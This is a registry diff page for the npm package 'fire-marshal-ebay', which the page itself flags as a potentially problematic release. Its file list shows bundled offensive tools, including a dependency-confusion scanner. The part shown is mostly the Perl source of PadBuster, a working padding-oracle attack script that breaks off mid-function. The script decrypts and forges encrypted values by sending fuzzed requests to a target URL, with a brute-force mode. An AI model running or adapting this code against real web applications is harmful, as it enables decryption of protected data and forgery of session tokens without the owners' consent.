fire-marshal-ebay 0.0.1-security.2 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fire-marshal-ebay might be problematic. Click here for more details.
- package/PadBuster/LICENSE +202 -0
- package/PadBuster/README +16 -0
- package/PadBuster/padBuster.pl +889 -0
- package/confused/.github/workflows/codeql-analysis.yml +67 -0
- package/confused/.github/workflows/golangci-lint.yml +28 -0
- package/confused/.goreleaser.yml +40 -0
- package/confused/CHANGELOG.md +31 -0
- package/confused/LICENSE +21 -0
- package/confused/README.md +93 -0
- package/confused/composer.go +105 -0
- package/confused/confused +0 -0
- package/confused/interfaces.go +11 -0
- package/confused/main.go +104 -0
- package/confused/mvn.go +120 -0
- package/confused/mvnparser.go +139 -0
- package/confused/npm.go +210 -0
- package/confused/packages.json +86 -0
- package/confused/pip.go +99 -0
- package/confused/util.go +11 -0
- package/index.js +47 -0
- package/package.json +9 -4
- package/synackAPI/Dockerfile +36 -0
- package/synackAPI/README.md +238 -0
- package/synackAPI/RHINOSPIDER/burpOOS.txt +25 -0
- package/synackAPI/RHINOSPIDER/burpScope.txt +1 -0
- package/synackAPI/RHINOSPIDER/scope.txt +1 -0
- package/synackAPI/bot.py +72 -0
- package/synackAPI/checkCerts.py +67 -0
- package/synackAPI/connect.py +9 -0
- package/synackAPI/currentTarget +24 -0
- package/synackAPI/getAnalytics.py +40 -0
- package/synackAPI/getHydra.py +46 -0
- package/synackAPI/getPayouts.py +11 -0
- package/synackAPI/getscope.py +123 -0
- package/synackAPI/polling.py +27 -0
- package/synackAPI/register.py +7 -0
- package/synackAPI/requirements.txt +7 -0
- package/synackAPI/synack.py +1046 -0
- package/synackAPI/synstats.py +54 -0
- package/synackAPI/target.py +17 -0
- package/README.md +0 -5
@@ -0,0 +1,889 @@
|
|
1
|
+
#!/usr/bin/perl
|
2
|
+
#
|
3
|
+
# PadBuster v0.3.3 - Automated script for performing Padding Oracle attacks
|
4
|
+
# Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com)
|
5
|
+
#
|
6
|
+
# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
|
7
|
+
# techniques and S.Vaudenay for initial discovery of the attack. Credits also
|
8
|
+
# to James M. Martin (research@esptl.com) for sharing proof of concept exploit
|
9
|
+
# code for performing various brute force attack techniques, and wireghoul (Eldar
|
10
|
+
# Marcussen) for making code quality improvements.
|
11
|
+
#
|
12
|
+
|
13
|
+
use LWP::UserAgent;
|
14
|
+
use strict;
|
15
|
+
use warnings;
|
16
|
+
use Getopt::Std;
|
17
|
+
use MIME::Base64;
|
18
|
+
use URI::Escape;
|
19
|
+
use Getopt::Long;
|
20
|
+
use Time::HiRes qw( gettimeofday );
|
21
|
+
use Compress::Zlib;
|
22
|
+
use Crypt::SSLeay;
|
23
|
+
|
24
|
+
# Set defaults with $variable = value
|
25
|
+
my $logFiles;
|
26
|
+
my $post;
|
27
|
+
my $encoding = 0;
|
28
|
+
my $headers;
|
29
|
+
my $cookie;
|
30
|
+
my $error;
|
31
|
+
my $prefix;
|
32
|
+
my $intermediaryInput;
|
33
|
+
my $cipherInput;
|
34
|
+
my $plainTextInput;
|
35
|
+
my $encodedPlainTextInput;
|
36
|
+
my $noEncodeOption;
|
37
|
+
my $superVerbose;
|
38
|
+
my $proxy;
|
39
|
+
my $proxyAuth;
|
40
|
+
my $noIv;
|
41
|
+
my $auth;
|
42
|
+
my $resumeBlock;
|
43
|
+
my $interactive = 0;
|
44
|
+
my $bruteForce;
|
45
|
+
my $ignoreContent;
|
46
|
+
my $useBody;
|
47
|
+
my $verbose;
|
48
|
+
|
49
|
+
GetOptions( "log" => \$logFiles,
|
50
|
+
"post=s" => \$post,
|
51
|
+
"encoding=s" => \$encoding,
|
52
|
+
"headers=s" => \$headers,
|
53
|
+
"cookies=s" => \$cookie,
|
54
|
+
"error=s" => \$error,
|
55
|
+
"prefix=s" => \$prefix,
|
56
|
+
"intermediate=s" => \$intermediaryInput,
|
57
|
+
"ciphertext=s" => \$cipherInput,
|
58
|
+
"plaintext=s" => \$plainTextInput,
|
59
|
+
"encodedtext=s" => \$encodedPlainTextInput,
|
60
|
+
"noencode" => \$noEncodeOption,
|
61
|
+
"veryverbose" => \$superVerbose,
|
62
|
+
"proxy=s" => \$proxy,
|
63
|
+
"proxyauth=s" => \$proxyAuth,
|
64
|
+
"noiv" => \$noIv,
|
65
|
+
"auth=s" => \$auth,
|
66
|
+
"resume=s" => \$resumeBlock,
|
67
|
+
"interactive" => \$interactive,
|
68
|
+
"bruteforce" => \$bruteForce,
|
69
|
+
"ignorecontent" => \$ignoreContent,
|
70
|
+
"usebody" => \$useBody,
|
71
|
+
"verbose" => \$verbose);
|
72
|
+
|
73
|
+
print "\n+-------------------------------------------+\n";
|
74
|
+
print "| PadBuster - v0.3.3 |\n";
|
75
|
+
print "| Brian Holyfield - Gotham Digital Science |\n";
|
76
|
+
print "| labs\@gdssecurity.com |\n";
|
77
|
+
print "+-------------------------------------------+\n";
|
78
|
+
|
79
|
+
if ($#ARGV < 2) {
|
80
|
+
die "
|
81
|
+
Use: padBuster.pl URL EncryptedSample BlockSize [options]
|
82
|
+
|
83
|
+
Where: URL = The target URL (and query string if applicable)
|
84
|
+
EncryptedSample = The encrypted value you want to test. Must
|
85
|
+
also be present in the URL, PostData or a Cookie
|
86
|
+
BlockSize = The block size being used by the algorithm
|
87
|
+
|
88
|
+
Options:
|
89
|
+
-auth [username:password]: HTTP Basic Authentication
|
90
|
+
-bruteforce: Perform brute force against the first block
|
91
|
+
-ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
|
92
|
+
-cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
|
93
|
+
-encoding [0-4]: Encoding Format of Sample (Default 0)
|
94
|
+
0=Base64, 1=Lower HEX, 2=Upper HEX
|
95
|
+
3=.NET UrlToken, 4=WebSafe Base64
|
96
|
+
-encodedtext [Encoded String]: Data to Encrypt (Encoded)
|
97
|
+
-error [Error String]: Padding Error Message
|
98
|
+
-headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
|
99
|
+
-interactive: Prompt for confirmation on decrypted bytes
|
100
|
+
-intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
|
101
|
+
-log: Generate log files (creates folder PadBuster.DDMMYY)
|
102
|
+
-noencode: Do not URL-encode the payload (encoded by default)
|
103
|
+
-noiv: Sample does not include IV (decrypt first block)
|
104
|
+
-plaintext [String]: Plain-Text to Encrypt
|
105
|
+
-post [Post Data]: HTTP Post Data String
|
106
|
+
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
|
107
|
+
-proxy [address:port]: Use HTTP/S Proxy
|
108
|
+
-proxyauth [username:password]: Proxy Authentication
|
109
|
+
-resume [Block Number]: Resume at this block number
|
110
|
+
-usebody: Use response body content for response analysis phase
|
111
|
+
-verbose: Be Verbose
|
112
|
+
-veryverbose: Be Very Verbose (Debug Only)
|
113
|
+
|
114
|
+
";}
|
115
|
+
|
116
|
+
# Ok, if we've made it this far we are ready to begin..
|
117
|
+
my $url = $ARGV[0];
|
118
|
+
my $sample = $ARGV[1];
|
119
|
+
my $blockSize = $ARGV[2];
|
120
|
+
|
121
|
+
if ($url eq "" || $sample eq "" || $blockSize eq "") {
|
122
|
+
print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n";
|
123
|
+
exit();
|
124
|
+
}
|
125
|
+
|
126
|
+
# Hard Coded Inputs
|
127
|
+
#$post = "";
|
128
|
+
#$sample = "";
|
129
|
+
|
130
|
+
my $method = $post ? "POST" : "GET";
|
131
|
+
|
132
|
+
# These are file related variables
|
133
|
+
my $dirName = "PadBuster." . &getTime("F");
|
134
|
+
my $dirSlash = "/";
|
135
|
+
my $dirCmd = "mkdir ";
|
136
|
+
if (defined($ENV{'OS'})) {
|
137
|
+
if ($ENV{OS} =~ /Windows/) {
|
138
|
+
$dirSlash = "\\";
|
139
|
+
$dirCmd = "md ";
|
140
|
+
}
|
141
|
+
}
|
142
|
+
my $dirExists = 0;
|
143
|
+
my $printStats = 0;
|
144
|
+
my $requestTracker = 0;
|
145
|
+
my $timeTracker = 0;
|
146
|
+
|
147
|
+
if ($encoding < 0 || $encoding > 4) {
|
148
|
+
print "\nERROR: Encoding must be a value between 0 and 4\n";
|
149
|
+
exit();
|
150
|
+
}
|
151
|
+
my $encodingFormat = $encoding ? $encoding : 0;
|
152
|
+
|
153
|
+
my $encryptedBytes = $sample;
|
154
|
+
my $totalRequests = 0;
|
155
|
+
|
156
|
+
# See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem)
|
157
|
+
if ($sample =~ /\%/) {
|
158
|
+
$encryptedBytes = &uri_unescape($encryptedBytes)
|
159
|
+
}
|
160
|
+
|
161
|
+
# Prep the sample for regex use
|
162
|
+
$sample = quotemeta $sample;
|
163
|
+
|
164
|
+
# Now decode
|
165
|
+
$encryptedBytes = &myDecode($encryptedBytes, $encodingFormat);
|
166
|
+
if ( (length($encryptedBytes) % $blockSize) > 0) {
|
167
|
+
print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n";
|
168
|
+
print " Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n";
|
169
|
+
exit();
|
170
|
+
}
|
171
|
+
|
172
|
+
# If no IV, then append nulls as the IV (only if decrypting)
|
173
|
+
if ($noIv && !$bruteForce && !$plainTextInput) {
|
174
|
+
$encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
|
175
|
+
}
|
176
|
+
|
177
|
+
# PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)
|
178
|
+
my $plainTextBytes;
|
179
|
+
|
180
|
+
# This is a bool to make sure we know where to replace the sample string
|
181
|
+
my $wasSampleFound = 0;
|
182
|
+
|
183
|
+
# ForgedBytes is where the complete forged sample will be stored (encrypt only)
|
184
|
+
my $forgedBytes;
|
185
|
+
|
186
|
+
# Isolate the IV into a separate byte array
|
187
|
+
my $ivBytes = substr($encryptedBytes, 0, $blockSize);
|
188
|
+
|
189
|
+
# Declare some optional elements for storing the results of the first test iteration
|
190
|
+
# to help the user if they don't know what the padding error looks like
|
191
|
+
my @oracleCantidates;
|
192
|
+
my $oracleSignature = "";
|
193
|
+
my %oracleGuesses;
|
194
|
+
my %responseFileBuffer;
|
195
|
+
|
196
|
+
# The block count should be the sample divided by the blocksize
|
197
|
+
my $blockCount = int(length($encryptedBytes)) / int($blockSize);
|
198
|
+
|
199
|
+
if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
|
200
|
+
print "\nERROR: There is only one block. Try again using the -noiv option.\n";
|
201
|
+
exit();
|
202
|
+
}
|
203
|
+
|
204
|
+
# The attack works by sending in a real cipher text block along with a fake block in front of it
|
205
|
+
# You only ever need to send two blocks at a time (one real one fake) and just work through
|
206
|
+
# the sample one block at a time
|
207
|
+
|
208
|
+
|
209
|
+
# First, re-issue the original request to let the user know if something is potentially broken
|
210
|
+
my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);
|
211
|
+
|
212
|
+
&myPrint("\nINFO: The original request returned the following",0);
|
213
|
+
&myPrint("[+] Status: $status",0);
|
214
|
+
&myPrint("[+] Location: $location",0);
|
215
|
+
&myPrint("[+] Content Length: $contentLength\n",0);
|
216
|
+
&myPrint("[+] Response: $content\n",1);
|
217
|
+
|
218
|
+
$plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedPlainTextInput;
|
219
|
+
|
220
|
+
if ($bruteForce) {
|
221
|
+
&myPrint("INFO: Starting PadBuster Brute Force Mode",0);
|
222
|
+
my $bfAttempts = 0;
|
223
|
+
|
224
|
+
print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
|
225
|
+
|
226
|
+
# Only loop through the first 3 bytes...this should be enough as it
|
227
|
+
# requires 16.5M+ requests
|
228
|
+
|
229
|
+
my @bfSamples;
|
230
|
+
my $sampleString = "\x00" x 2;
|
231
|
+
for my $c (0 ... 255) {
|
232
|
+
substr($sampleString, 0, 1, chr($c));
|
233
|
+
for my $d (0 ... 255) {
|
234
|
+
substr($sampleString, 1, 1, chr($d));
|
235
|
+
push (@bfSamples, $sampleString);
|
236
|
+
}
|
237
|
+
}
|
238
|
+
|
239
|
+
foreach my $testVal (@bfSamples) {
|
240
|
+
my $complete = 0;
|
241
|
+
while ($complete == 0) {
|
242
|
+
my $repeat = 0;
|
243
|
+
for my $b (0 ... 255) {
|
244
|
+
$bfAttempts++;
|
245
|
+
if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
|
246
|
+
#SKIP
|
247
|
+
} else {
|
248
|
+
my $testBytes = chr($b).$testVal;
|
249
|
+
$testBytes .= "\x00" x ($blockSize-3);
|
250
|
+
|
251
|
+
my $combinedBf = $testBytes;
|
252
|
+
$combinedBf .= $encryptedBytes;
|
253
|
+
$combinedBf = &myEncode($combinedBf, $encoding);
|
254
|
+
|
255
|
+
# Add the Query String to the URL
|
256
|
+
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
|
257
|
+
|
258
|
+
|
259
|
+
# Issue the request
|
260
|
+
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
|
261
|
+
|
262
|
+
my $signatureData = "$status\t$contentLength\t$location";
|
263
|
+
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
|
264
|
+
|
265
|
+
if ($oracleSignature eq "") {
|
266
|
+
&myPrint("[+] Starting response analysis...\n",0) if ($b ==0);
|
267
|
+
$oracleGuesses{$signatureData}++;
|
268
|
+
$responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
|
269
|
+
if ($b == 255) {
|
270
|
+
&myPrint("*** Response Analysis Complete ***\n",0);
|
271
|
+
&determineSignature();
|
272
|
+
$printStats = 1;
|
273
|
+
$timeTracker = 0;
|
274
|
+
$requestTracker = 0;
|
275
|
+
$repeat = 1;
|
276
|
+
$bfAttempts = 0;
|
277
|
+
}
|
278
|
+
}
|
279
|
+
if ($oracleSignature ne "" && $oracleSignature ne $signatureData) {
|
280
|
+
&myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0);
|
281
|
+
&writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content");
|
282
|
+
}
|
283
|
+
}
|
284
|
+
}
|
285
|
+
($repeat == 1) ? ($complete = 0) : ($complete = 1);
|
286
|
+
}
|
287
|
+
}
|
288
|
+
} elsif ($plainTextInput) {
|
289
|
+
# ENCRYPT MODE
|
290
|
+
&myPrint("INFO: Starting PadBuster Encrypt Mode",0);
|
291
|
+
|
292
|
+
# The block count will be the plaintext divided by blocksize (rounded up)
|
293
|
+
my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
|
294
|
+
&myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
|
295
|
+
|
296
|
+
my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
|
297
|
+
$plainTextInput.= chr($padCount) x $padCount;
|
298
|
+
|
299
|
+
# SampleBytes is the encrypted text you want to derive intermediate values for, so
|
300
|
+
# copy the current ciphertext block into sampleBytes
|
301
|
+
# Note, nulls are used if not provided and the intermediate values are brute forced
|
302
|
+
|
303
|
+
$forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
|
304
|
+
my $sampleBytes = $forgedBytes;
|
305
|
+
|
306
|
+
for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
|
307
|
+
# IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
|
308
|
+
my $intermediaryBytes;
|
309
|
+
|
310
|
+
if ($intermediaryInput && $blockNum == $blockCount) {
|
311
|
+
$intermediaryBytes = &myDecode($intermediaryInput,2);
|
312
|
+
} else {
|
313
|
+
$intermediaryBytes = &processBlock($sampleBytes);
|
314
|
+
}
|
315
|
+
|
316
|
+
# Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
|
317
|
+
# This will become the next ciphertext block (or IV if the last one)
|
318
|
+
$sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
|
319
|
+
$forgedBytes = $sampleBytes.$forgedBytes;
|
320
|
+
|
321
|
+
&myPrint("\nBlock ".($blockNum)." Results:",0);
|
322
|
+
&myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
|
323
|
+
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
|
324
|
+
|
325
|
+
}
|
326
|
+
$forgedBytes = &myEncode($forgedBytes, $encoding);
|
327
|
+
chomp($forgedBytes);
|
328
|
+
} else {
|
329
|
+
# DECRYPT MODE
|
330
|
+
&myPrint("INFO: Starting PadBuster Decrypt Mode",0);
|
331
|
+
|
332
|
+
if ($resumeBlock) {
|
333
|
+
&myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
|
334
|
+
} else {
|
335
|
+
$resumeBlock = 1
|
336
|
+
}
|
337
|
+
|
338
|
+
# Assume that the IV is included in our sample and that the first block is the IV
|
339
|
+
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
|
340
|
+
# Since the IV is the first block, our block count is artificially inflated by one
|
341
|
+
&myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
|
342
|
+
|
343
|
+
# SampleBytes is the encrypted text you want to break, so
|
344
|
+
# lets copy the current ciphertext block into sampleBytes
|
345
|
+
my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);
|
346
|
+
|
347
|
+
# IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored
|
348
|
+
my $intermediaryBytes = &processBlock($sampleBytes);
|
349
|
+
|
350
|
+
# DecryptedBytes is where the decrypted block is stored
|
351
|
+
my $decryptedBytes;
|
352
|
+
|
353
|
+
# Now we XOR the decrypted byte with the corresponding byte from the previous block
|
354
|
+
# (or IV if we are in the first block) to get the actual plain-text
|
355
|
+
$blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize);
|
356
|
+
|
357
|
+
&myPrint("\nBlock ".($blockNum-1)." Results:",0);
|
358
|
+
&myPrint("[+] Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
|
359
|
+
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1),0);
|
360
|
+
&myPrint("[+] Plain Text: $decryptedBytes\n",0);
|
361
|
+
$plainTextBytes = $plainTextBytes.$decryptedBytes;
|
362
|
+
}
|
363
|
+
}
|
364
|
+
|
365
|
+
&myPrint("-------------------------------------------------------",0);
|
366
|
+
&myPrint("** Finished ***\n", 0);
|
367
|
+
if ($plainTextInput) {
|
368
|
+
&myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
|
369
|
+
} else {
|
370
|
+
&myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
|
371
|
+
&myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
|
372
|
+
&myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
|
373
|
+
}
|
374
|
+
&myPrint("-------------------------------------------------------\n",0);
|
375
|
+
|
376
|
+
sub determineSignature {
|
377
|
+
# Help the user detect the oracle response if an error string was not provided
|
378
|
+
# This logic will automatically suggest the response pattern that occured most often
|
379
|
+
# during the test as this is the most likeley one
|
380
|
+
|
381
|
+
my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
|
382
|
+
|
383
|
+
&myPrint("The following response signatures were returned:\n",0);
|
384
|
+
&myPrint("-------------------------------------------------------",0);
|
385
|
+
if ($useBody) {
|
386
|
+
&myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0);
|
387
|
+
} else {
|
388
|
+
&myPrint("ID#\tFreq\tStatus\tLength\tLocation",0);
|
389
|
+
}
|
390
|
+
&myPrint("-------------------------------------------------------",0);
|
391
|
+
|
392
|
+
my $id = 1;
|
393
|
+
|
394
|
+
foreach (@sortedGuesses) {
|
395
|
+
my $line = $id;
|
396
|
+
($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : $line.="";
|
397
|
+
my @sigFields = split("\t", $_);
|
398
|
+
$line .= "\t$oracleGuesses{$_}\t$sigFields[0]\t$sigFields[1]";
|
399
|
+
$useBody ? ( $line .= "\t".unpack( '%32A*', $sigFields[3] ) ) : $line.="";
|
400
|
+
$line .= "\t$sigFields[2]";
|
401
|
+
&myPrint($line,0);
|
402
|
+
&writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
|
403
|
+
$id++;
|
404
|
+
}
|
405
|
+
&myPrint("-------------------------------------------------------",0);
|
406
|
+
|
407
|
+
if ($#sortedGuesses == 0 && !$bruteForce) {
|
408
|
+
&myPrint("\nERROR: All of the responses were identical.\n",0);
|
409
|
+
&myPrint("Double check the Block Size and try again.",0);
|
410
|
+
exit();
|
411
|
+
} else {
|
412
|
+
my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended");
|
413
|
+
&myPrint("\nContinuing test with selection $responseNum\n",0);
|
414
|
+
$oracleSignature = $sortedGuesses[$responseNum-1];
|
415
|
+
}
|
416
|
+
}
|
417
|
+
|
418
|
+
sub prepRequest {
|
419
|
+
my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;
|
420
|
+
|
421
|
+
# Prepare the request
|
422
|
+
my $testUrl = $pUrl;
|
423
|
+
my $wasSampleFound = 0;
|
424
|
+
|
425
|
+
if ($pUrl =~ /$pSample/) {
|
426
|
+
$testUrl =~ s/$pSample/$pTestBytes/;
|
427
|
+
$wasSampleFound = 1;
|
428
|
+
}
|
429
|
+
|
430
|
+
my $testPost = "";
|
431
|
+
if ($pPost) {
|
432
|
+
$testPost = $pPost;
|
433
|
+
if ($pPost =~ /$pSample/) {
|
434
|
+
$testPost =~ s/$pSample/$pTestBytes/;
|
435
|
+
$wasSampleFound = 1;
|
436
|
+
}
|
437
|
+
}
|
438
|
+
|
439
|
+
my $testCookies = "";
|
440
|
+
if ($pCookie) {
|
441
|
+
$testCookies = $pCookie;
|
442
|
+
if ($pCookie =~ /$pSample/) {
|
443
|
+
$testCookies =~ s/$pSample/$pTestBytes/;
|
444
|
+
$wasSampleFound = 1;
|
445
|
+
}
|
446
|
+
}
|
447
|
+
|
448
|
+
if ($wasSampleFound == 0) {
|
449
|
+
&myPrint("ERROR: Encrypted sample was not found in the test request",0);
|
450
|
+
exit();
|
451
|
+
}
|
452
|
+
return ($testUrl, $testPost, $testCookies);
|
453
|
+
}
|
454
|
+
|
455
|
+
sub processBlock {
|
456
|
+
my ($sampleBytes) = @_;
|
457
|
+
my $analysisMode;
|
458
|
+
# Analysis mode is either 0 (response analysis) or 1 (exploit)
|
459
|
+
$analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
|
460
|
+
|
461
|
+
# The return value of this subroutine is the intermediate text for the block
|
462
|
+
my $returnValue;
|
463
|
+
|
464
|
+
my $complete = 0;
|
465
|
+
my $autoRetry = 0;
|
466
|
+
my $hasHit = 0;
|
467
|
+
|
468
|
+
while ($complete == 0) {
|
469
|
+
# Reset the return value
|
470
|
+
$returnValue = "";
|
471
|
+
|
472
|
+
my $repeat = 0;
|
473
|
+
|
474
|
+
# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
|
475
|
+
my $testBytes = "\x00" x $blockSize;
|
476
|
+
|
477
|
+
my $falsePositiveDetector = 0;
|
478
|
+
|
479
|
+
# Work on one byte at a time, starting with the last byte and moving backwards
|
480
|
+
OUTERLOOP:
|
481
|
+
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
|
482
|
+
INNERLOOP:
|
483
|
+
for (my $i = 255; $i >= 0; $i--) {
|
484
|
+
# Fuzz the test byte
|
485
|
+
substr($testBytes, $byteNum, 1, chr($i));
|
486
|
+
|
487
|
+
# Combine the test bytes and the sample
|
488
|
+
my $combinedTestBytes = $testBytes.$sampleBytes;
|
489
|
+
|
490
|
+
if ($prefix) {
|
491
|
+
$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
|
492
|
+
}
|
493
|
+
|
494
|
+
$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
|
495
|
+
chomp($combinedTestBytes);
|
496
|
+
|
497
|
+
if (! $noEncodeOption) {
|
498
|
+
$combinedTestBytes = &uri_escape($combinedTestBytes);
|
499
|
+
}
|
500
|
+
|
501
|
+
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);
|
502
|
+
|
503
|
+
# Ok, now make the request
|
504
|
+
|
505
|
+
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
|
506
|
+
|
507
|
+
|
508
|
+
my $signatureData = "$status\t$contentLength\t$location";
|
509
|
+
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
|
510
|
+
|
511
|
+
# If this is the first block and there is no padding error message defined, then cycle through
|
512
|
+
# all possible requests and let the user decide what the padding error behavior is.
|
513
|
+
if ($analysisMode == 0) {
|
514
|
+
&myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
|
515
|
+
$oracleGuesses{$signatureData}++;
|
516
|
+
|
517
|
+
$responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
|
518
|
+
|
519
|
+
if ($byteNum == $blockSize - 1 && $i == 0) {
|
520
|
+
&myPrint("*** Response Analysis Complete ***\n",0);
|
521
|
+
&determineSignature();
|
522
|
+
$analysisMode = 1;
|
523
|
+
$repeat = 1;
|
524
|
+
last OUTERLOOP;
|
525
|
+
}
|
526
|
+
}
|
527
|
+
|
528
|
+
my $continue = "y";
|
529
|
+
|
530
|
+
if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) {
|
531
|
+
# This is for autoretry logic (only works on the first byte)
|
532
|
+
if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) {
|
533
|
+
$hasHit++;
|
534
|
+
} else {
|
535
|
+
# If there was no padding error, then it worked
|
536
|
+
&myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
|
537
|
+
&myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
|
538
|
+
|
539
|
+
# If continually getting a hit on attempt zero, then something is probably wrong
|
540
|
+
$falsePositiveDetector++ if ($i == 255);
|
541
|
+
|
542
|
+
if ($interactive == 1) {
|
543
|
+
$continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1);
|
544
|
+
}
|
545
|
+
|
546
|
+
if ($continue eq "y" || $continue eq "a") {
|
547
|
+
$interactive = 0 if ($continue eq "a");
|
548
|
+
|
549
|
+
# Next, calculate the decrypted byte by XORing it with the padding value
|
550
|
+
my ($currentPaddingByte, $nextPaddingByte);
|
551
|
+
|
552
|
+
# These variables could allow for flexible padding schemes (for now PCKS)
|
553
|
+
# For PCKS#7, the padding block is equal to chr($blockSize - $byteNum)
|
554
|
+
$currentPaddingByte = chr($blockSize - $byteNum);
|
555
|
+
$nextPaddingByte = chr($blockSize - $byteNum + 1);
|
556
|
+
|
557
|
+
my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;
|
558
|
+
&myPrint("[+] XORing with Padding Char, which is ".&uri_escape($currentPaddingByte),1);
|
559
|
+
|
560
|
+
$returnValue = $decryptedByte.$returnValue;
|
561
|
+
&myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);
|
562
|
+
|
563
|
+
# Finally, update the test bytes in preparation for the next round, based on the padding used
|
564
|
+
for (my $k = $byteNum; $k < $blockSize; $k++) {
|
565
|
+
# First, XOR the current test byte with the padding value for this round to recover the decrypted byte
|
566
|
+
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
|
567
|
+
|
568
|
+
# Then, XOR it again with the padding byte for the next round
|
569
|
+
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
|
570
|
+
}
|
571
|
+
last INNERLOOP;
|
572
|
+
}
|
573
|
+
|
574
|
+
}
|
575
|
+
}
|
576
|
+
|
577
|
+
## TODO: Combine these two blocks?
|
578
|
+
if ($i == 0 && $analysisMode == 1) {
|
579
|
+
# End of the road with no success. We should probably try again.
|
580
|
+
&myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0);
|
581
|
+
|
582
|
+
if ($autoRetry == 0) {
|
583
|
+
$autoRetry = 1;
|
584
|
+
&myPrint(" Automatically trying one more time...",0);
|
585
|
+
$repeat = 1;
|
586
|
+
last OUTERLOOP;
|
587
|
+
|
588
|
+
} else {
|
589
|
+
if (($byteNum == $blockSize - 1) && ($error)) {
|
590
|
+
&myPrint("\nAre you sure you specified the correct error string?",0);
|
591
|
+
&myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
|
592
|
+
}
|
593
|
+
|
594
|
+
